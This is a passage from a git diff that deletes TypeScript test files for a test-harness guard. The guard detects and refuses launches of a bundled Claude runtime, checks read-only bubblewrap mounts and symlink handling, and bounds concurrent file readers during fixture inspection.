if(["foreign-mount","exec-only","search-only","mask","candidate","supplementary-group","acl-mask-search"].includes(mode)){expect(capture,"REACHABLE_OR_UNPROVEN_NODE_IS_NOT_OPAQUE").toThrow();return;} - const node=capture();expect(node.kind).toBe("file"); - if(mode==="later-readable")chmodSync(path,0o744); - if(mode==="swapped"){rmSync(path);writeFileSync(path,"replaced");chmodSync(path,0o700);} - if(mode==="inaccessible")expect(()=>recheckOpaqueStageNode(path,node,reader),"OPAQUE_NODE_REMAINS_UNKNOWN_WITH_PINNED_IDENTITY").not.toThrow(); - else expect(()=>recheckOpaqueStageNode(path,node,reader),"CHANGED_OPAQUE_NODE_REFUSES").toThrow(); - }finally{chmodSync(root,0o700);rmSync(root,{recursive:true,force:true});} -}); - -for(const mode of ["opaque","exec-only","search-only","unproven","other-error"] as const)test(`private stage reader preserves unknown nodes: ${mode}`,async()=>{ - const source=mkdtempSync("/tmp/odysseus-opaque-source-"),snapshot=mkdtempSync("/tmp/odysseus-opaque-copy-"),path=join(source,"unknown"); - try{ - mkdirSync(path);chmodSync(path,mode==="exec-only"||mode==="search-only"?0o711:0o700); - const info=lstatSync(path,{bigint:true}),stamp=`${info.ino}:${info.size}:${info.mtimeNs}:${info.ctimeNs}`; - const row={path:"unknown",kind:"directory",stamp,mode:Number(info.mode)&0o777,bytes:Number(info.size),inode:String(info.ino)}; - let attempted=false; - const manager={async listStage(_id:string,path:string){if(!path)return [row];attempted=true;throw Object.assign(Error("private reader denied"),{code:mode==="other-error"?"EIO":"EACCES"});},async statStage(){return row;}}; - const reader={root:source,uid:Number(info.uid)+1,gids:[Number(info.gid)+1],forbidden:[]}; - const work=captureNativeFixtureStage(manager as never,"fixture",reader.uid,1024,snapshot,mode==="unproven"?undefined:reader); - if(mode==="opaque"){const stamps=await work;expect(attempted,"EXACT_PRIVATE_READER_ATTEMPTED").toBe(true);expect(stamps.get("unknown"),"UNKNOWN_NODE_IDENTITY_RETAINED").toBe(stamp);} - else await expect(work,"UNPROVEN_OR_EXECUTABLE_NODE_REFUSED").rejects.toThrow(); - }finally{rmSync(source,{recursive:true,force:true});rmSync(snapshot,{recursive:true,force:true});} -}); - -for(const broken of [false,true])test(`private inspection pipelines bounded reads and drains failures: ${broken}`,async()=>{ - const root=mkdtempSync("/tmp/odysseus-stage-pipeline-"); - const rows=Array.from({length:9},(_,i)=>({path:`loom-${i}.md`,kind:"file",mode:0o600,bytes:7,stamp:`fixed-${i}`,inode:String(i+1)})); - let live=0,peak=0,cancelled=0,completed=0; - const controllers:ReadableStreamDefaultController[]=[]; - const manager={async listStage(){return rows;},async statStage(_id:string,path:string){return rows.find(row=>row.path===path);},async readStage(_id:string,path:string){ - const index=Number(/loom-(\d+)/.exec(path)![1]);live++;peak=Math.max(peak,live); - let finish!:(value:{workerUid:number;bytes:number})=>void; - const done=new Promise<{workerUid:number;bytes:number}>(resolve=>{finish=resolve;}); - const settle=()=>{live--;completed++;finish({workerUid:broken&&index===0?21001:21002,bytes:7});}; - const stream=new ReadableStream({start(controller){controllers[index]=controller; - if(broken){if(index===2){controllers[0]!.enqueue(Buffer.from("Ithaca\n"));controllers[0]!.close();settleFirst();}} - else setTimeout(()=>{controller.enqueue(Buffer.from("Ithaca\n"));controller.close();settle();},5); - },async cancel(){cancelled++;await new Promise(resolve=>setTimeout(resolve,10));settle();}}); - function settleFirst(){/* receipt for the first stream is completed separately */firstFinish?.();} - if(index===0)firstFinish=settle; - return {workerUid:21002,stream,completed:done}; - }}; - let firstFinish:(()=>void)|undefined; - try{ - const work=captureNativeFixtureStage(manager as never,"stage",21002,1024,root); - if(broken){await expect(work,"FAILED_READ_DRAINS_ALL_IN_FLIGHT_READERS").rejects.toThrow("reader receipt changed");expect(cancelled).toBe(2);expect(completed).toBe(3);} - else{await work;expect(completed).toBe(9);expect(readFileSync(join(root,"loom-8.md"),"utf8")).toBe("Ithaca\n");} - expect(peak,"PRIVATE_READER_CONCURRENCY_IS_BOUNDED").toBe(3);expect(live,"NO_PRIVATE_READER_SURVIVES_INSPECTION").toBe(0); - }finally{rmSync(root,{recursive:true,force:true});} -}); - -test("simultaneous fixture inspections share the process reader limit",async()=>{ - const roots=[mkdtempSync("/tmp/odysseus-stage-limit-"),mkdtempSync("/tmp/odysseus-stage-limit-")];let live=0,peak=0; - const rows=Array.from({length:6},(_,i)=>({path:`loom-${i}.md`,kind:"file",mode:0o600,bytes:7,stamp:`fixed-${i}`,inode:String(i+1)})); - const manager={async listStage(){return rows;},async statStage(_id:string,path:string){return rows.find(row=>row.path===path);},async readStage(){ - live++;peak=Math.max(peak,live);let finish!:(value:{workerUid:number;bytes:number})=>void; - const completed=new Promise<{workerUid:number;bytes:number}>(resolve=>{finish=resolve;}); - return {workerUid:21002,completed,stream:new ReadableStream({start(controller){setTimeout(()=>{controller.enqueue(Buffer.from("Ithaca\n"));controller.close();live--;finish({workerUid:21002,bytes:7});},5);}})}; - }}; - try{await Promise.all(roots.map(root=>captureNativeFixtureStage(manager as never,"stage",21002,1024,root)));expect(peak,"PROCESS_READER_LIMIT_APPLIES_ACROSS_CAPTURES").toBe(3);expect(live).toBe(0);} - finally{for(const root of roots)rmSync(root,{recursive:true,force:true});} -}); - -for(const change of ["content","inode","mode","links"] as const)test(`finding reuse re-inspects a changed kernel key: ${change}`,async()=>{ - const {nativeFixtureFileFinding,nativeFixtureFindingCounts}=await import("../scripts/test-native-guard"); - const {renameSync,linkSync,utimesSync}=await import("node:fs"); - const root=mkdtempSync("/tmp/odysseus-finding-key-"),path=join(root,"loom.md"); - try{ - writeFileSync(path,"Ithaca\n",{mode:0o600});const fixed=new Date("2026-07-12T00:00:00Z");utimesSync(path,fixed,fixed);const first=nativeFixtureFileFinding(path),warmed=nativeFixtureFindingCounts(); - expect(nativeFixtureFileFinding(path)).toEqual(first);expect(nativeFixtureFindingCounts().reused).toBeGreaterThan(warmed.reused); - await Bun.sleep(2); - if(change==="content"){writeFileSync(path,"Troy!!\n");utimesSync(path,fixed,fixed);} - if(change==="inode"){renameSync(path,join(root,"retired.md"));writeFileSync(path,"Troy!!\n",{mode:0o600});} - if(change==="mode")chmodSync(path,0o400); - if(change==="links")linkSync(path,join(root,"other.md")); - const before=nativeFixtureFindingCounts(),next=nativeFixtureFileFinding(path); - expect(next.key,"CHANGED_ENTRY_IS_NOT_ASSUMED_CLEAN").not.toBe(first.key); - expect(nativeFixtureFindingCounts().inspected,"CHANGED_KERNEL_KEY_REINSPECTED").toBe(before.inspected+1); - if(change==="content"||change==="inode")expect(next.hash,"CHANGED_BYTES_DETECTED").not.toBe(first.hash); - }finally{rmSync(root,{recursive:true,force:true});} -}); - -test("a native runtime planted after findings warm is detected without execution",async()=>{ - const {nativeFixtureFileFinding,isNativeClaude}=await import("../scripts/test-native-guard"); - const {bundledClaudeBinary}=await import("../packages/core/src/providers/agents/claude-binary"); - const {copyFileSync,constants}=await import("node:fs");const root=mkdtempSync("/tmp/odysseus-planted-runtime-"),path=join(root,"loom"); - try{writeFileSync(path,"Ithaca\n");const old=nativeFixtureFileFinding(path);expect(isNativeClaude(path)).toBe(false); - copyFileSync(bundledClaudeBinary()!,path,constants.COPYFILE_FICLONE);chmodSync(path,0o500); - const finding=nativeFixtureFileFinding(path);expect(finding.key).not.toBe(old.key);expect(isNativeClaude(path),"LATE_NATIVE_RUNTIME_IS_CAUGHT").toBe(true); - }finally{rmSync(root,{recursive:true,force:true});} -}); - -test("acknowledgement clock subtracts only guard-owned intervals",async()=>{ - const {nativeFixtureGuardTimingWindow,isNativeClaude}=await import("../scripts/test-native-guard"); - const {nativeReceipt}=await import("../scripts/native-test-receipts"); - const window=nativeFixtureGuardTimingWindow(),start=window.startMs;isNativeClaude("/usr/bin/true");await Bun.sleep(20);const timing=window.close(),end=timing.windowEndMs; - expect(timing.rawMs).toBe(end-start);expect(timing.guardMs).toBeGreaterThan(0);expect(timing.productMs,"PRODUCT_WORK_REMAINS_ON_PRODUCT_CLOCK").toBeGreaterThanOrEqual(15); - expect(timing.guardMs).toBe(timing.intervals.reduce((sum,row)=>sum+row.endMs-row.startMs,0)); - for(let i=1;inativeReceipt(fake),"FAKE_GUARD_INTERVAL_CANNOT_HIDE_PRODUCT_WORK").toThrow("Unowned native guard timing interval refused"); -}); - -test("runtime mask findings are reused after complete cheap key comparisons",async()=>{ - const {nativeTripwireMaskPaths,nativeFixtureSetupCounts}=await import("../scripts/test-native-guard"); - const first=nativeTripwireMaskPaths(),before=nativeFixtureSetupCounts(); - expect(nativeTripwireMaskPaths()).toEqual(first);expect(nativeFixtureSetupCounts().maskReuses,"MASK_SETUP_FINDINGS_REUSED").toBeGreaterThan(before.maskReuses); -}); - -test("readable stage files are inspected in place after the bounded reader succeeds",async()=>{ - const {statSync}=await import("node:fs"); - const source=mkdtempSync("/tmp/odysseus-in-place-source-"),snapshot=mkdtempSync("/tmp/odysseus-in-place-view-"),file=join(source,"loom.md");writeFileSync(file,"Ithaca\n",{mode:0o600}); - const info=lstatSync(file,{bigint:true}),uid=Number(info.uid)+1,row={path:"loom.md",kind:"file",mode:0o600,bytes:7,inode:String(info.ino),stamp:`${info.ino}:${info.size}:${info.mtimeNs}:${info.ctimeNs}`};let reads=0; - const manager={async listStage(){return [row];},async statStage(){return row;},async readStage(){reads++;return {workerUid:uid,stream:new ReadableStream({start(controller){controller.enqueue(Buffer.from("Ithaca\n"));controller.close();}}),completed:Promise.resolve({workerUid:uid,bytes:7})};}}; - try{await captureNativeFixtureStage(manager as never,"stage",uid,1024,snapshot,{uid,gids:[Number(info.gid)+1],root:source,forbidden:[]}); - expect(reads,"ACTUAL_READER_RECEIPT_REQUIRED_BEFORE_IN_PLACE_FINDING").toBe(1); - expect(lstatSync(join(snapshot,"loom.md")).isSymbolicLink(),"READABLE_FILE_HAS_NO_INSPECTION_COPY").toBe(true); - expect(statSync(join(snapshot,"loom.md"),{bigint:true}).ino,"INSPECTION_SEES_THE_PINNED_SOURCE_INODE").toBe(info.ino); - expect(readFileSync(join(snapshot,"loom.md"),"utf8")).toBe("Ithaca\n"); - }finally{rmSync(snapshot,{recursive:true,force:true});rmSync(source,{recursive:true,force:true});} -}); - -describe("findings remain safe between tests in one process",()=>{ - let root:string,path:string,initial:{key:string;hash:string};const fixed=new Date("2026-07-12T00:00:00Z"); - beforeAll(async()=>{const {utimesSync}=await import("node:fs"),{nativeFixtureFileFinding}=await import("../scripts/test-native-guard");root=mkdtempSync("/tmp/odysseus-between-tests-");path=join(root,"loom.md");writeFileSync(path,"Ithaca\n",{mode:0o600});utimesSync(path,fixed,fixed);initial=nativeFixtureFileFinding(path);}); - afterAll(()=>rmSync(root,{recursive:true,force:true})); - test("a first test rehashes mutable bytes even with the same complete key",async()=>{ - const {nativeFixtureFileFinding,nativeFixtureFindingCounts}=await import("../scripts/test-native-guard");const first=nativeFixtureFileFinding(path),before=nativeFixtureFindingCounts(); - expect(nativeFixtureFileFinding(path)).toEqual(first);expect(nativeFixtureFindingCounts().inspected,"MUTABLE_BYTES_REHASHED_WITH_SAME_KEY").toBe(before.inspected+1); - }); - test("a later test's same-path content and ctime change is re-inspected",async()=>{ - const {utimesSync}=await import("node:fs"),{nativeFixtureFileFinding,nativeFixtureFindingCounts}=await import("../scripts/test-native-guard"); - await Bun.sleep(2);writeFileSync(path,"Troy!!\n");utimesSync(path,fixed,fixed);const before=nativeFixtureFindingCounts(),next=nativeFixtureFileFinding(path); - expect(next.key,"BETWEEN_TEST_CTIME_CHANGE_INVALIDATES_FINDING").not.toBe(initial.key);expect(next.hash,"BETWEEN_TEST_CONTENT_CHANGE_DETECTED").not.toBe(initial.hash); - expect(nativeFixtureFindingCounts().inspected).toBe(before.inspected+1); - }); -}); - -test("a source-identical guard module keeps timing issuance private across query instances",async()=>{ - const variant=await import(new URL("../scripts/test-native-guard.ts?timing-fixture",import.meta.url).href),window=variant.nativeFixtureGuardTimingWindow(); - expect(variant.isNativeClaude("/usr/bin/true")).toBe(false); - expect(window.close().guardMs).toBeGreaterThan(0); -}); - -test("nested classifiers write only to their explicit private timing window",async()=>{ - const {spawnGuardFixture}=await import("./helpers/native-receipt-fixture"); - const code=`import {nativeWorkerBoundary,nativeFixtureGuardTimingWindow,isNativeClaude} from ${JSON.stringify(join(import.meta.dir,"../scripts/test-native-guard.ts"))}; - isNativeClaude("/usr/bin/true"); - const window=nativeFixtureGuardTimingWindow();nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:["/usr/bin/true"],argv:["/usr/bin/true"]})}); - const timing=window.close();isNativeClaude("/usr/bin/true");console.log(JSON.stringify(timing));`; - const child=spawnGuardFixture([process.execPath,"--no-env-file","-e",code],{stdout:"pipe",stderr:"pipe"});const [exit,out,stdout]=await Promise.all([child.exited,child.guardOutput(),new Response(child.stdout).text()]); - expect(exit,out).toBe(0); - expect(out,"NO_TIMING_INTERVAL_ON_SHARED_CHANNEL_INSIDE_OR_OUTSIDE_WINDOW").not.toContain("native-guard-interval"); - const rows=JSON.parse(stdout.trim()).receipts; - expect(rows,"NESTED_GUARD_INTERVALS_ARE_NOT_WRITTEN_REPEATEDLY").toHaveLength(1);expect(rows[0].operation).toBe("plan-inspection");expect(rows[0].endMs).toBeGreaterThanOrEqual(rows[0].startMs); -}); - -test("mutable same-size rewrites are rehashed even when kernel timestamp keys repeat",async()=>{ - const {nativeFixtureFileFinding}=await import("../scripts/test-native-guard"),{utimesSync}=await import("node:fs"),{createHash}=await import("node:crypto"); - const root=mkdtempSync("/tmp/odysseus-mutable-rehash-"),path=join(root,"loom.md"),fixed=new Date("2026-07-12T00:00:00Z");let repeatedKeys=0,changedCtimes=0; - try{for(let i=0;i<40;i++){ - writeFileSync(path,"Ithaca\n");utimesSync(path,fixed,fixed);const before=nativeFixtureFileFinding(path),old=lstatSync(path,{bigint:true}); - expect(before.hash,"MUTABLE_REHASH_CATCHES_RESTORED_TIMESTAMP_BYTES").toBe(createHash("sha256").update("Ithaca\n").digest("hex")); - writeFileSync(path,"Troy!!\n");utimesSync(path,fixed,fixed);const after=nativeFixtureFileFinding(path),now=lstatSync(path,{bigint:true}); - if(before.key===after.key)repeatedKeys++;if(old.ctimeNs!==now.ctimeNs)changedCtimes++; - expect(now.ino).toBe(old.ino);expect(now.size).toBe(old.size);expect(now.mtimeNs).toBe(old.mtimeNs); - expect(after.hash,"MUTABLE_REHASH_CATCHES_RESTORED_TIMESTAMP_BYTES").toBe(createHash("sha256").update("Troy!!\n").digest("hex")); - expect(after.hash).not.toBe(before.hash); - }console.log(JSON.stringify({mutableRehashProof:{attempts:40,repeatedKeys,changedCtimes,ctimeSettableByUtimes:false}}));} - finally{rmSync(root,{recursive:true,force:true});} -}); - -for(const mode of ["inside","outside","uninspected","cycle"] as const)test(`stage link target classification: ${mode}`,async()=>{ - const {symlinkSync}=await import("node:fs");const source=mkdtempSync("/tmp/odysseus-link-source-"),snapshot=mkdtempSync("/tmp/odysseus-link-view-"); - writeFileSync(join(source,"loom"),"Ithaca\n");const link=mode==="inside"?"loom":mode==="outside"?"../outside":mode==="cycle"?"link":"missing";symlinkSync(link,join(source,"link")); - const rows=["loom","link"].map(path=>{const value=lstatSync(join(source,path),{bigint:true});return {path,kind:path==="link"?"symlink":"file",target:path==="link"?link:undefined,mode:Number(value.mode)&0o7777,bytes:Number(value.size),inode:String(value.ino),stamp:`${value.ino}:${value.size}:${value.mtimeNs}:${value.ctimeNs}`};}); - const manager={async listStage(){return rows;},async statStage(_id:string,path:string){return rows.find(row=>row.path===path);},async readStage(){return {workerUid:21002,stream:new ReadableStream({start(c){c.enqueue(Buffer.from("Ithaca\n"));c.close();}}),completed:Promise.resolve({workerUid:21002,bytes:7})};}}; - try{const work=captureNativeFixtureStage(manager as never,"stage",21002,1024,snapshot);if(mode==="inside")await work;else await expect(work,"STAGE_LINK_TARGET_NOT_ASSUMED_CLEAN").rejects.toThrow();} - finally{rmSync(snapshot,{recursive:true,force:true});rmSync(source,{recursive:true,force:true});} -}); - -test("a link to an inspected native runtime inside the stage refuses without execution",async()=>{ - const {spawnGuardFixture}=await import("./helpers/native-receipt-fixture"); - const code=`import {captureNativeFixtureStage} from ${JSON.stringify(join(import.meta.dir,"../scripts/test-native-guard.ts"))}; - import {bundledClaudeBinary} from ${JSON.stringify(join(import.meta.dir,"../packages/core/src/providers/agents/claude-binary.ts"))}; - import {mkdtempSync,copyFileSync,chmodSync,symlinkSync,lstatSync,rmSync,constants} from "node:fs";import {join} from "node:path"; - const source=mkdtempSync("/tmp/odysseus-stage-native-link-"),snapshot=mkdtempSync("/tmp/odysseus-stage-native-view-"); - try{copyFileSync(bundledClaudeBinary(),join(source,"runtime"),constants.COPYFILE_FICLONE);chmodSync(join(source,"runtime"),0o500);symlinkSync("runtime",join(source,"link")); - const rows=["runtime","link"].map(path=>{const i=lstatSync(join(source,path),{bigint:true});return {path,kind:path==="link"?"symlink":"file",target:path==="link"?"runtime":undefined,mode:Number(i.mode)&0o7777,bytes:Number(i.size),inode:String(i.ino),stamp:[i.ino,i.size,i.mtimeNs,i.ctimeNs].join(":")};}); - const manager={async listStage(){return rows;},async statStage(_id,path){return rows.find(row=>row.path===path);},async readStage(){const file=Bun.file(join(source,"runtime"));return {workerUid:21002,stream:file.stream(),completed:Promise.resolve({workerUid:21002,bytes:file.size})};}}; - let refused=false;try{await captureNativeFixtureStage(manager,"stage",21002,rows[0].bytes,snapshot);}catch(error){if(!String(error).includes("native runtime in stage symlink target"))throw error;refused=true;} - if(!refused)throw Error("NATIVE_STAGE_LINK_TARGET_IS_NOT_ASSUMED_CLEAN");console.error("NATIVE_STAGE_LINK_TARGET_REFUSED"); - }finally{rmSync(snapshot,{recursive:true,force:true});rmSync(source,{recursive:true,force:true});}`; - const child=spawnGuardFixture([process.execPath,"--no-env-file","-e",code],{stdout:"pipe",stderr:"pipe"});const [exit,out]=await Promise.all([child.exited,child.guardOutput()]); - expect(exit,out).toBe(1);expect(out,"NATIVE_STAGE_LINK_TARGET_IS_NOT_ASSUMED_CLEAN").toContain("NATIVE_STAGE_LINK_TARGET_REFUSED"); -}); diff --git a/tests/native-managed-settings.test.ts b/tests/native-managed-settings.test.ts deleted file mode 100644 index f8b4e4139f..0000000000 --- a/tests/native-managed-settings.test.ts +++ /dev/null @@ -1,44 +0,0 @@ -import { expect, test } from "bun:test"; -import { mkdirSync, writeFileSync, readFileSync, rmSync } from "node:fs"; -import { join } from "node:path"; -import { nativeFixtureDirectory, nativeFixtureFileMounts, nativeScriptedService } from "../scripts/test-native-guard"; -import { spawnGuardFixture } from "./helpers/native-receipt-fixture"; -const guard=join(import.meta.dir,"../scripts/test-native-guard.ts"); -const json=JSON.stringify({env:{ANTHROPIC_BASE_URL:"https://ithaca.invalid"}}); - -test("managed-custom keyless view retains only exact declared settings bytes read-only",()=>{ - const root=nativeFixtureDirectory("odysseus-managed-settings-"),file=join(root,"managed.json"),stage=join(root,"stage");mkdirSync(stage);writeFileSync(file,json);writeFileSync(join(root,"undeclared.json"),"private fixture file"); - const leave=nativeScriptedService("http://127.0.0.1:9",{fixtureRoots:[root],fixtureFiles:[file]}); - try { - writeFileSync(file,"{}");const mounts=nativeFixtureFileMounts(stage); - const code='import os,json,errno\np='+JSON.stringify(file)+'\nassert os.path.exists(p),"MANAGED_CUSTOM_REFUSAL_INPUT_VISIBLE"\nassert open(p).read()=='+JSON.stringify(json)+'\nassert json.load(open(p))["env"]["ANTHROPIC_BASE_URL"]=="https://ithaca.invalid"\nassert not os.path.exists('+JSON.stringify(join(root,'undeclared.json'))+')\ntry: open(p,"w")\nexcept OSError as e: assert e.errno==errno.EROFS\nelse: raise AssertionError("settings writable")\nprint("MANAGED_CUSTOM_REFUSAL_INPUT_VISIBLE")'; - const child=Bun.spawnSync(["bwrap","--unshare-user","--unshare-pid","--unshare-net","--die-with-parent","--ro-bind","/usr","/usr","--symlink","usr/bin","/bin","--symlink","usr/lib","/lib","--symlink","usr/lib64","/lib64","--tmpfs","/etc","--tmpfs",root,"--proc","/proc","--dev","/dev",...mounts,"--remount-ro","/etc","--","/usr/bin/python3","-I","-S","-c",code],{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe"}); - expect(child.exitCode,"MANAGED_CUSTOM_REFUSAL_INPUT_VISIBLE "+child.stderr.toString()).toBe(0);expect(child.stdout.toString()).toContain("MANAGED_CUSTOM_REFUSAL_INPUT_VISIBLE"); - expect(mounts[0]).toBe("--ro-bind");expect(mounts[2]).toBe(file);expect(readFileSync(mounts[1]!,"utf8")).toBe(json); - }finally{leave();rmSync(root,{recursive:true,force:true});} -}); - -test("undeclared managed settings do not add a worker mount",()=>{ - const root=nativeFixtureDirectory("odysseus-managed-absent-");writeFileSync(join(root,"managed.json"),json); - const leave=nativeScriptedService("http://127.0.0.1:9",{fixtureRoots:[root]}); - try{expect(nativeFixtureFileMounts(root)).toEqual([]);}finally{leave();rmSync(root,{recursive:true,force:true});} -}); - -for(const mode of ["outside","symlink","parent-symlink","dotdot","hardlink"] as const)test(`managed settings refuse ${mode} registration`,async()=>{ - const child=spawnGuardFixture([process.execPath,"-e",` - import {nativeFixtureDirectory,nativeScriptedService} from ${JSON.stringify(guard)}; - import {mkdtempSync,writeFileSync,symlinkSync,linkSync,rmSync,statSync} from "node:fs"; - const mode=${JSON.stringify(mode)}; - const root=nativeFixtureDirectory("odysseus-managed-negative-"),outside=mkdtempSync("/tmp/odysseus-unregistered-"); - writeFileSync(root+"/managed.json","{}");writeFileSync(outside+"/managed.json","{}"); - let file; - if(mode==="hardlink"){linkSync(outside+"/managed.json",root+"/hardlink");file=root+"/hardlink";} - else if(mode==="symlink"){symlinkSync(root+"/managed.json",root+"/alias");file=root+"/alias";} - else if(mode==="parent-symlink"){symlinkSync(outside,root+"/linkdir");file=root+"/linkdir/managed.json";} - else if(mode==="dotdot")file=root+"/../"+outside.split("/").pop()+"/managed.json"; - else file=outside+"/managed.json"; - if(mode!=="hardlink"&&statSync(file).nlink!==1)throw Error("NEGATIVE_CASE_MUST_NOT_BORROW_HARDLINK_REFUSAL"); - try{nativeScriptedService("http://127.0.0.1:9",{fixtureRoots:[root],fixtureFiles:[file]});}catch{}finally{rmSync(root,{recursive:true,force:true});rmSync(outside,{recursive:true,force:true});} - `],{env:{PATH:"/usr/bin:/bin"}}); - const [code,out]=await Promise.all([child.exited,child.guardOutput()]);expect(code,`MANAGED_SETTINGS_${mode.toUpperCase()}_MUST_REFUSE`).not.toBe(0);expect(out).toContain("fixture files require a canonical unlinked regular file under a declared root");expect(out).toContain('"nativeLaunched":false'); -}); diff --git a/tests/native-namespace-policy.test.ts b/tests/native-namespace-policy.test.ts deleted file mode 100644 index 7aebb68cc9..0000000000 --- a/tests/native-namespace-policy.test.ts +++ /dev/null @@ -1,62 +0,0 @@ -import { watchdogMs } from "../scripts/test-deadlines"; -/** Real bubblewrap mount construction with /usr/bin/true only; never Claude. */ -import { expect, test } from "bun:test"; -import ts from "typescript"; -import { mkdtempSync, rmSync } from "node:fs"; -import { tmpdir } from "node:os"; -import { join } from "node:path"; -import { nativeNamespacePolicy } from "../scripts/test-native-guard"; -import { fixtureSources, namespaceLaunches } from "./helpers/native-launcher-inventory"; -const root=join(import.meta.dir,".."); -test("fixed guard helper compiles with the fixture's private etc",()=>{ - const policy=nativeNamespacePolicy(); - const child=Bun.spawnSync(["bwrap","--unshare-user","--unshare-net","--ro-bind","/","/","--tmpfs","/tmp","--tmpfs","/etc",...policy.mounts, - "cc","-static","-Os","-x","c","-","-o","/tmp/odysseus-fixed-helper"], - {env:{PATH:"/usr/bin:/bin"},stdin:Buffer.from("int main(void){return 0;}\n"),stdout:"pipe",stderr:"pipe",timeout:watchdogMs(30000)}); - expect(child.exitCode,"FIXED_GUARD_HELPER_COMPILER_SURVIVES_PRIVATE_ETC: "+child.stderr.toString()).toBe(0); -}); -for(const [file,source] of fixtureSources(root))for(const [index,plan] of namespaceLaunches(source).entries())test(`real bwrap policy mount survives read-only roots: ${file}:${index}`,()=>{ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-policy-view-")); - try { - const policy=nativeNamespacePolicy(),argv:string[]=["bwrap"];let mounted=false; - for(let i=1;i{ - const {nativeScriptedService,nativeFixtureManagedSettings,nativeFixtureManagedSettingsMounts}=await import("../scripts/test-native-guard"); - const {mkdirSync,writeFileSync}=await import("node:fs"); - const scratch=mkdtempSync(join(tmpdir(),"odysseus-policy-projection-")),directory=join(scratch,"managed-settings/claude-code");mkdirSync(directory,{recursive:true}); - writeFileSync(join(directory,"managed-settings.json"),JSON.stringify({env:{ENABLE_TOOL_SEARCH:"true"}}));writeFileSync(join(directory,"undeclared.json"),"Odysseus private fixture neighbor"); - const server=Bun.serve({hostname:"127.0.0.1",port:0,fetch:()=>new Response("fixture")});const leave=nativeScriptedService(server.url.origin,{fixtureRoots:[scratch]});let close:(()=>void)|undefined; - try{ - close=nativeFixtureManagedSettings(scratch);const mounts=nativeFixtureManagedSettingsMounts(); - const code='import os,json,errno\np="/etc/claude-code/managed-settings.json"\nassert json.load(open(p))=={"env":{"ENABLE_TOOL_SEARCH":"true"}}\nassert not os.path.exists("/etc/claude-code/undeclared.json")\ntry: open(p,"w")\nexcept OSError as e: assert e.errno==errno.EROFS\nelse: raise AssertionError("FIXTURE_POLICY_WRITABLE")\nprint("EXACT_READONLY_FIXTURE_POLICY")'; - const child=Bun.spawnSync(["bwrap","--unshare-user","--unshare-net","--ro-bind","/usr","/usr","--symlink","usr/bin","/bin","--symlink","usr/lib","/lib","--symlink","usr/lib64","/lib64","--tmpfs","/etc","--proc","/proc","--dev","/dev",...mounts,"/usr/bin/python3","-I","-S","-c",code],{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe",timeout:watchdogMs(30000)}); - expect(child.exitCode,"EXACT_READONLY_FIXTURE_POLICY: "+child.stderr.toString()).toBe(0);expect(child.stdout.toString()).toContain("EXACT_READONLY_FIXTURE_POLICY"); - }finally{close?.();leave();server.stop(true);rmSync(scratch,{recursive:true,force:true});} -}); diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts deleted file mode 100644 index d862f15b37..0000000000 --- a/tests/native-offline-boundary.test.ts +++ /dev/null @@ -1,858 +0,0 @@ -/** Keyless admission proof; installed-native positives run only in qualified hosts. */ -import {expect,test} from "bun:test"; -import {watchdogMs} from "../scripts/test-deadlines"; -import {chmodSync,copyFileSync,existsSync,mkdirSync,mkdtempSync,rmSync,symlinkSync,writeFileSync} from "node:fs"; -import {dirname,join} from "node:path"; -import {tmpdir} from "node:os"; -import {isNativeClaude,nativeClaudeBoundary} from "../scripts/test-native-guard"; -import {ROOT,runtime,probe,probeGuardInitialization,imports,guardMountOrderCheck} from "./helpers/native-boundary-fixture"; -import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; - -test("a harmless fixture named claude runs without native admission", async () => { - const scratch = mkdtempSync(join(tmpdir(), "odysseus-fixture-runtime-")); - try { - const executable = join(scratch, "claude"), marker = join(scratch, "launched"); - writeFileSync(executable, `#!/bin/sh\nprintf launched > '${marker}'\n`); chmodSync(executable, 0o700); - expect(isNativeClaude(executable)).toBe(false); - const result = await probe(`${imports} import {spawn} from "node:child_process"; spawn(${JSON.stringify(executable)}, []);`, scratch); - expect(result.code, result.output).toBe(0); expect(existsSync(marker)).toBe(true); - } finally { rmSync(scratch, { recursive: true, force: true }); } -}); - -test("native identity finds wrapped and flagged interpreter targets", () => { - expect(isNativeClaude(process.execPath, [runtime!])).toBe(true); - expect(isNativeClaude(process.execPath, ["--preload", "fixture.ts", runtime!])).toBe(true); - expect(isNativeClaude("/usr/bin/true", [runtime!])).toBe(true); - expect(isNativeClaude(process.execPath, ["-e", runtime!])).toBe(true); - for (const flag of ["--conditions", "--env-file", "--experimental-loader", "--cwd", "-c"]) { - expect(isNativeClaude(process.execPath, [flag, "odysseus-fixture", runtime!])).toBe(true); - } - expect(isNativeClaude("/usr/bin/true", ["--conditions", "odysseus-fixture", runtime!])).toBe(true); - for (const flag of ["--require", "--preload"]) { - expect(isNativeClaude(process.execPath, [flag+"="+runtime])).toBe(true); - } -}); - -for (const worker of [false,true]) test(`wrapper-launched installed runtime refuses before ${worker ? "worker" : "direct"} bootstrap`, async () => { - const scratch = mkdtempSync(join(tmpdir(), "odysseus-wrapper-refusal-")); - try { - const wrapper=join(scratch,"exec-wrapper"), marker=join(scratch,"launched"); - // This fixture never execs its argument, even under a broken guard. - writeFileSync(wrapper, `#!/bin/sh\nprintf launched > '${marker}'\n`);chmodSync(wrapper,0o700); - const result=await probe(`${imports} - const wrapper=${JSON.stringify(wrapper)},runtime=${JSON.stringify(runtime)}; - Bun.spawn([wrapper,runtime],${worker ? `{env:{BRAIN_WORKER_LAUNCH:JSON.stringify({command:[wrapper,runtime],argv:["bwrap","--",wrapper,runtime]})}}` : `{}`});`,scratch); - expect(result.code,result.output).not.toBe(0); - expect(existsSync(marker)).toBe(false); - expect(result.output).toContain('"success":false,"nativeLaunched":false'); - } finally {rmSync(scratch,{recursive:true,force:true});} -}); - -test("status-pipe worker launches treat descriptor arguments as data", async () => { - const scratch = mkdtempSync(join(tmpdir(), "odysseus-status-pipe-")); - try { - const result = await probe(`${imports} - import {nativeWorkerBoundary,isNativeClaude} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))}; - import {openSync,closeSync} from "node:fs"; - const fifo=process.env.HOME+"/status"; - if(Bun.spawnSync(["/usr/bin/mkfifo",fifo]).exitCode!==0)throw Error("fixture FIFO failed"); - const fd=openSync(fifo,"r+"); - if(isNativeClaude("/usr/bin/true",[\`/proc/\${process.pid}/fd/1\`]))throw 